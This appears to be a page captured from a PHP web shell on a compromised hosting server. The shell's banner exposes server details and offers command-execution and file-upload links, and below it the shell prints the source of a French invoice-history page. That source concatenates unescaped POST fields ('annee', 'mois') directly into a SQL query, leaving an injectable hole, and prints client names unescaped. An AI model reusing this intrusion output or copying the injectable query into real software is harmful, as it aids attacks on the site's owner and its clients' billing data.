|
Server IP : 10.128.40.6 / Your IP : 216.73.217.20 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/logmcpe/www/TEST/../TMCPRO/pages/feuillesroute/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
// echo '<pre>';
// print_r($_POST);
// echo '</pre>';
$now = time();
$months = array(
1 => 'Janvier',
2 => 'Février',
3 => 'Mars',
4 => 'Avril',
5 => 'Mai',
6 => 'Juin',
7 => 'Juillet',
8 => 'Août',
9=> 'Septembre',
10=> 'Octobre',
11 => 'Novembre',
12 => 'Décembre'
);
$annee = $year = date('Y');
$mois = $month = date('m');
$from = $annee.''.$mois.'01';
$to = $annee.''.$mois.'31';
if(isset($_POST['mois']) && isset($_POST['annee'])){
$from = $_POST['annee'].''.$_POST['mois'].'01';
$to = $_POST['annee'].''.$_POST['mois'].'31';
$annee = $_POST['annee'];
$mois = $_POST['mois'];
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Historique des factures</title>
<!-- Tell the browser to be responsive to screen width -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- Font Awesome -->
<link rel="stylesheet" href="../plugins/fontawesome-free/css/all.min.css">
<!-- Ionicons -->
<link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
<!-- Select2 -->
<link rel="stylesheet" href="../plugins/select2/css/select2.min.css">
<link rel="stylesheet" href="../plugins/select2-bootstrap4-theme/select2-bootstrap4.min.css">
<!-- Theme style -->
<link rel="stylesheet" href="../dist/css/adminlte.min.css">
<!-- Google Font: Source Sans Pro -->
<link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet">
<style>
.myCollapse {
display: none;
}
.myCollapse.in {
display: block;
}
.modal-header {
padding: 15px;
border-bottom: 1px solid #e5e5e5;
}
.modal-header {
background: #226faa;
background: -webkit-gradient(linear,left top,right top,from(#226faa),color-stop(37%,#2989d8),to(#72c0d3));
background: linear-gradient(to right,#226faa 0,#2989d8 37%,#72c0d3 100%);
border-radius: 6px;
color: #fff;
padding: 18px;
border-bottom-left-radius: 0;
border-bottom-right-radius: 0;
border-color: transparent;
}
.modal-header .close {
margin-top: -3px;
font-size: 24px;
font-weight: 400;
color: #fff;
opacity: .9;
width: 28px;
height: 28px;
padding-bottom: 0;
padding-left: 1px;
}
button.close {
padding: 0;
cursor: pointer;
background: 0 0;
border: 0;
-webkit-appearance: none;
-moz-appearance: none;
appearance: none;
}
;
</style>
</head>
<body class="hold-transition sidebar-mini">
<div class="wrapper">
<!-- TOP MENU -->
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" data-widget="pushmenu" href="#"></i></a>
</li>
<!-- liens TOP MENU GAUCHE-->
<td>
<a href="facture10.php"><button type="button" class="btn btn-block btn-secondary"></i> EDITION DES FACTURES</button> </a>
</td>
<td>
  <a href="facturemail.php"> <button type="button" class="btn btn-block btn-secondary" ></i> ENVOI PAR MAIL</button></a>
</td>
<td>
  <a href="facturepdf.php"> <button type="button" class="btn btn-block btn-secondary" ></i> ENVOI PAR COURRIER </button></a>
</td>
</ul>
<!-- liens TOP MENU DROITE -->
<ul class="navbar-nav ml-auto">
<!-- Placer ici l'élément à positionner à droite du TOP MENU -->
</ul>
</nav> <!-- fin du TOP MENU -->
<?php include('menu.php'); ?>
<div class="modal fade" id="PrestUpt" role="dialog" class="modal fade task-modal-single in" tabindex="-1" aria-labelledby="myLargeModalLabel" >
<div class="modal-dialog modal-lg">
<div class="modal-content data">
<div id="jalil" ></div>
</div>
</div>
</div>
<!-- Content Wrapper. Contains page content -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<!-- Main content -->
<section class="content">
<div class="container-fluid">
<div class="row">
<div class="col-lg-12">
<div class="card card-info">
<div class="card-header">
<h3 class="card-title"> HISTORIQUE DES FACTURES </h3>
<div class="d-flex justify-content-between"> </div>
</div>
<div class="card-body">
<form method='POST' action=''>
<div class="row">
<div class="col-sm-4">
<div class="form-group">
<label>Année</label>
<select name='annee' id='annee' class="form-control">
<?php
$earliest_year = 2018;
foreach (range($year+3, $earliest_year) as $x) {
print '<option value="'.$x.'"'.($x == $annee ? ' selected="selected"' : '').'>'.$x.'</option>';
}
?>
</select>
</div>
</div>
<div class="col-sm-4">
<div class="form-group">
<label>Mois</label>
<select name='mois' id='mois' class="form-control">
<?php
foreach ($months as $key => $value) {
$key = sprintf("%02d",$key );
print '<option value="'.$key.'"'.($key == $mois ? ' selected="selected"' : '').'>'.$value.'</option>';
}
?>
</select>
</div>
</div>
</div>
</form>
</div>
</div>
<!-- /.card -->
</div>
<!-- /.col-md-6 -->
<!-- /.col -->
<div class="col-md-12">
<div class="card card-primary">
<div class="card-body p-20">
<table class="table table-hover" >
<tr>
<th style="text-align:center;">N°</th>
<th style="text-align:center;">CLIENT</th>
<th style="text-align:center;" >DATE DE FACTURE</th>
<th style="text-align:center;" >MONTANT</th>
<th style="text-align:center;" >NET A PAYER</th>
<th style="text-align:center;" >REGLEMENT</th>
<th style="text-align:center;" ></th>
</tr>
<?php
$query2 = "SELECT f.num_fact,
f.fact_id, total,date_debut,date_fin,
total-if(p.paye is null, 0, p.paye)-if(a.avoir is null, 0, a.avoir) AS paye,
if(a.avoir is null, 0, a.avoir) avoir,
f.date_fact, if(if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) >= total, 'Réglé', if(if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) = 0, 'Pas de règlement', 'Règlement partiel')) statut,
f.relance,client_nom nom
FROM ".TABLE_FACT." f
LEFT JOIN (select if(sum(if(montant is null, 0, montant)) is null, 0, sum(if(montant is null, 0, montant))) paye, fact_id FROM ".TABLE_PAIEMENT." group by fact_id) p ON f.fact_id = p.fact_id
LEFT JOIN (select if(sum(if(montant is null, 0, montant)) is null, 0, sum(if(montant is null, 0, montant))) avoir, fact_id FROM ".TABLE_AVOIR." group by fact_id) a ON f.fact_id = a.fact_id
LEFT JOIN ".TABLE_CLIENT." c ON f.client_id = c.client_id
WHERE f.date_debut>=$from AND f.date_fin<=$to
AND f.agence_id=$agence
GROUP BY date_fact, f.fact_id, total
order by num_fact DESC" ;
// printf($query, '<');
// $query2 = "SELECT f.num_fact,
// f.fact_id, total,date_debut,date_fin,
// total-if(p.paye is null, 0, p.paye)-if(a.avoir is null, 0, a.avoir) AS paye,
// if(a.avoir is null, 0, a.avoir) avoir,
// f.date_fact, if(if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) >= total, 'Réglé', if(if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) = 0, 'Pas de règlement', 'Règlement partiel')) statut,
// f.relance
// FROM ".TABLE_FACT." f
// LEFT JOIN (select if(sum(if(montant is null, 0, montant)) is null, 0, sum(if(montant is null, 0, montant))) paye, fact_id FROM ".TABLE_PAIEMENT." group by fact_id) p ON f.fact_id = p.fact_id
// LEFT JOIN (select if(sum(if(montant is null, 0, montant)) is null, 0, sum(if(montant is null, 0, montant))) avoir, fact_id FROM ".TABLE_AVOIR." group by fact_id) a ON f.fact_id = a.fact_id
// AND f.agence_id=$agence
// AND if(p.paye is null, 0, p.paye)+if(a.avoir is null, 0, a.avoir) %s total
// AND f.date_debut>=$from AND f.date_fin<=$to
// GROUP BY date_fact, f.fact_id, total
// order by num_fact DESC" ;
printf($query, '<');
$date = date("Ymd");
// echo sprintf($query2, '<');
// echo
// echo " $reglementDelai $date <br/>";
$q2 = dbi_query(sprintf($query2, '<')) ;
// while($f = dbi_fetch_row($q2))
// {
// echo '<pre>';
// print_r($f);
// echo '</pre>';
// }
while($f = dbi_fetch_row($q2))
{
// echo "---> $f['fact_id']"
// $date2 = strtotime($f['date_fact']);
// $a = dateDiff($now, $date2) ;
// if($a['day']> $reglementDelai )
// {
?>
<tr>
<td style="text-align:center;vertical-align:middle;"><?=$f['num_fact']?></td>
<td style="text-align:center;vertical-align:middle;"><?=$f['nom']?></td>
<td style="text-align:center;vertical-align:middle;"><?=int2date($f['date_fact'])?></td>
<td style="text-align:center;vertical-align:middle;"><span class="badge bg-success"><?=number_format($f['total'], 2, ', ', ' ').' €'?></span></td>
<td style="text-align:center;vertical-align:middle;"><span class="badge bg-info"><?=number_format($f['paye'], 2, ', ', ' ')?> € <?=($f['avoir'] > 0) ? '<br>(avoirrr de '.number_format($f['avoir'], 2, ', ', ' ').' €)' : ''?></span></td>
<td style="text-align:center;vertical-align:middle;"><?=$f['statut']?></td>
<td style="text-align:center;vertical-align:middle;"><a href="code/fact.php?fid=<?=$f['fact_id']?>" target="_blank" class="btn bg-gradient-info">Voir</a>
<?php
// if ($f['avoir'])
// {
// $qa = dbi_query("SELECT * FROM ".TABLE_AVOIR." WHERE fact_id = ".$f['fact_id']." AND agence_id = $agence") ;
// while($a = dbi_fetch_row($qa))
// printf('<br><a href="avoir.php?aid=%d" target="_blank">Avoir nº%d</a>', $a['avoir_id'], $a['num_avoir']);
// }
?></td>
</tr>
<?php
// }
}
/*
while($f = dbi_fetch_row($q))
{
?>
<tr>
<td style="text-align:center;"><?=$f['num_fact']?></td>
<td style="text-align:center;"><?=int2date($f['date_fact'])?></td>
<td style="text-align:center;"><?=number_format($f['total'], 2, ', ', ' ').' €'?></td>
<td style="text-align:center;"><?=number_format($f['paye'], 2, ', ', ' ')?> € <?=($f['avoir'] > 0) ? '<br>(avoir de '.number_format($f['avoir'], 2, ', ', ' ').' €)' : ''?></td>
<td style="text-align:center;"><?=$f['statut']?></td>
<button type="submit" class="btn btn-block bg-gradient-info">Valider La Facture</button>
<td style="text-align:center;"><a href="fact.php?fid=<?=$f['fact_id']?>" target="_blank" class="btn btn-block bg-gradient-info">Voir la facture</a>
<?php
// if ($f['avoir'])
// {
// $qa = dbi_query("SELECT * FROM ".TABLE_AVOIR." WHERE fact_id = ".$f['fact_id']." AND agence_id = $agence") ;
// while($a = dbi_fetch_row($qa))
// printf('<br><a href="avoir.php?aid=%d" target="_blank">Avoir nº%d</a>', $a['avoir_id'], $a['num_avoir']);
// }
?></td>
</tr>
<?php
} */
echo '</table><br/>';
?>
</div>
<!-- /.card-body -->
</div>
<!-- /.card -->
</div>
<!-- /.col -->
</div>
<!-- /.row -->
</div><!-- /.container-fluid -->
</section>
<!-- /.content -->
</div>
<!-- /.content-wrapper -->
<footer class="main-footer">
<div class="float-right d-none d-sm-block">
<b>Version</b> 3.0.2
</div>
<strong>Copyright © 2014-2019 <a href="http://adminlte.io">AdminLTE.io</a>.</strong> All rights
reserved.
</footer>
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->
<!-- jQuery -->
<script src="../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap -->
<script src="../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- jQuery UI -->
<script src="../plugins/jquery-ui/jquery-ui.min.js"></script>
<!-- AdminLTE App -->
<script src="../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../dist/js/demo.js"></script>
<!-- Select2 -->
<script src="../plugins/select2/js/select2.full.min.js"></script>
<!-- Page specific script -->
<!-- Page specific script -->
<script>
$(document).ready(function() {
$('#annee').on('change',function(){
$('form').submit();
});
$('#mois').on('change',function(){
$('form').submit();
});
});
</script>
<script>
$(function () {
$('.select2').select2()
$('.select2bs4').select2({
theme: 'bootstrap4'
})
})
</script>
</body>
</html>
